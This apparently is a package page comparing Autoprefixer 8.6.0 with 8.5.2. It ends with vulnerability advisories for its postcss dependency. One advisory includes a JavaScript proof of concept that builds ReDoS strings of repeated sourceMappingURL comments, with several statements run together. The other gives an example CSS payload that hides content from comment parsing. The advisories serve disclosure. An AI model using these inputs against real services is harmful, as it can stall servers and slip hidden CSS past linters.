Autoprefixer version 8.6.0 represents a minor update over version 8.5.2, building upon the core functionality of parsing CSS and adding vendor prefixes to ensure cross-browser compatibility based on data from "Can I Use." The primary difference between the two versions lies within their dependencies, specifically an update to caniuse-lite. Version 8.6.0 utilizes version 1.0.30000847 of caniuse-lite, while version 8.5.2 relies on 1.0.30000846. This "caniuse-lite" update is significant because it reflects the most recent browser compatibility data. Developers should upgrade to 8.6.0 to ensure they're leveraging the very latest information regarding which prefixes are needed for various CSS properties across different browsers.
The updated caniuse-lite dependency likely includes fixes for newly implemented CSS features or adjustments to browser support for existing ones. While the postcss, browserslist, num2fraction, normalize-range, and postcss-value-parser dependencies remain the same, the "caniuse-lite" update signifies a step towards improved accuracy and effectiveness in prefixing CSS rules. Furthermore, version 8.6.0 exhibits a slightly larger unpacked size (337880 bytes) than version 8.5.2 (336892 bytes), attributable to the updated data within the "caniuse-lite" package. Developers seeking the most current and precise vendor prefixing for optimal cross-browser experiences should prioritize using Autoprefixer version 8.6.0.
All the vulnerabilities related to the version 8.6.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.